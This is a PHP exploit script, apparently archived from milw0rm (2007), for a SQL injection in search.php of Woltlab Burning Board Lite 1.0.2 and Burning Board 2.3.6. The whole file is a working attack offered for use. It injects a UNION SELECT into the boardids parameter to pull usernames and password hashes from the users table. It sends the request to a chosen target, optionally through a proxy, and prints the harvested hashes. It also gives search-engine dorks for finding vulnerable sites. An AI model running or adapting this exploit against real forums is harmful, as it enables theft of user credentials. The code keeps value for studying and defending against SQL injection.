Woltlab Burning Board 1.0.2/2.3.6 - 'search.php' SQL Injection (1)

<?php

/*
###################################
# http://www.undergroundagents.de #
# coded by silent vapor           #
# webmaster@undergroundagents.de  #
###################################
*/

print_r('
--------------------------------------------------------------------------------
Woltlab Burning Board Lite <= 1.0.2 GetHashes over search.php
Woltlab Burning Board <= 2.3.6 GetHashes over search.php
by silent vapor (webmaster@undergroundagents.de)
site: http://www.undergroundagents.de
dork: "Powered by Burning Board Lite 1.0.2" or
     "Powered by Burning Board 2.3.6"
--------------------------------------------------------------------------------
');

if ($argc<3) {
   print_r('
--------------------------------------------------------------------------------
Usage: php '.$argv[0].' host path boardid searchstring OPTIONS
host:             target server (ip/hostname)
path:             path to wbblite
boardid:          a boardid where you will search
searchstring:     a searchstring, that will be found in this board

Options:
 -o[prefix]:     " a table prefix (default: bb1_)
 -p[port]:       " a port other than 80
 -P[ip:port]:    " a proxy
 -t[n]:          " adjust query timeout (default: 10)

Example:
php '.$argv[0].' localhost /wbblite/ 28 avatar
 "       "       localhost / 29 cpu -p81 -P127.0.0.1:8080
--------------------------------------------------------------------------------
');
   die;
}

error_reporting(0);
ini_set("max_execution_time",0);
ini_set("default_socket_timeout",5);

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)
{
 global $proxy, $host, $port, $html, $proxy_regex;
 if ($proxy=='') {
   $ock=fsockopen(gethostbyname($host),$port);
   if (!$ock) {
     echo 'No response from '.$host.':'.$port; die;
   }
 }
 else {
       $c = preg_match($proxy_regex,$proxy);
   if (!$c) {
     echo 'Not a valid proxy...';die;
   }
   $parts=explode(':',$proxy);
   echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";
   $ock=fsockopen($parts[0],$parts[1]);
   if (!$ock) {
     echo 'No response from proxy...';die;
       }
 }
 fputs($ock,$packet);
 if ($proxy=='') {
   $html='';
   while (!feof($ock)) {
     $html.=fgets($ock);
   }
 }
 else {
   $html='';
   while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {
     $html.=fread($ock,1);
   }
 }
 fclose($ock);
}

$host=$argv[1];
$path=$argv[2];
$boardid=$argv[3];
$searchstring=$argv[4];

$prefix = "bb1_";
$port=80;
$timeout=10;
$proxy="";

for ($i=5; $i<$argc; $i++){
$temp=$argv[$i][0].$argv[$i][1];
if ($temp=="-p")
{
 $port=str_replace("-p","",$argv[$i]);
}
if ($temp=="-P")
{
 $proxy=str_replace("-P","",$argv[$i]);
}
if ($temp=="-t")
{
 $timeout=(int) str_replace("-t","",$argv[$i]);
}
if ($temp=="-o")
{
 $prefix=str_replace("-o","",$argv[$i]);
}
}
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}
$path .= "search.php";
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

$boardids="boardids%5B%5D=$boardid) UNION SELECT username,password FROM ".$prefix."users WHERE 1 NOT IN (0,0";
$data = "searchstring=$searchstring&searchuser=&name_exactly=1&$boardids&showposts=0&searchdate=0";
$data .= "&beforeafter=after&sortby=lastpost&sortorder=desc&send=send&submit=Suchen";

$packet ="POST ".$p." HTTP/1.0\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Cookie: wbb_userpassword=0;\r\n";
$packet.="Connection: Close\r\n\r\n";
$packet.=$data;

sendpacketii($packet);

if (eregi("Database error",$html)){
   echo "<b>vulnerable...</b><br><br>";
   $temp1=explode("b.boardid IN (",$html);
   $temp2=explode(")",$temp1[1]);
   $temp3=explode("&sid=",$temp2[0]);
   $temp4=$temp3[0];
   $temp5=explode(",",$temp4);

   for ($i=0;$i<count($temp5);$i++)
   {
    if ($i%2 == 0)
     echo $temp5[$i]." ( Hash: ";
   else
     echo $temp5[$i].")<br>";
   }
}

?>

# milw0rm.com [2007-01-17]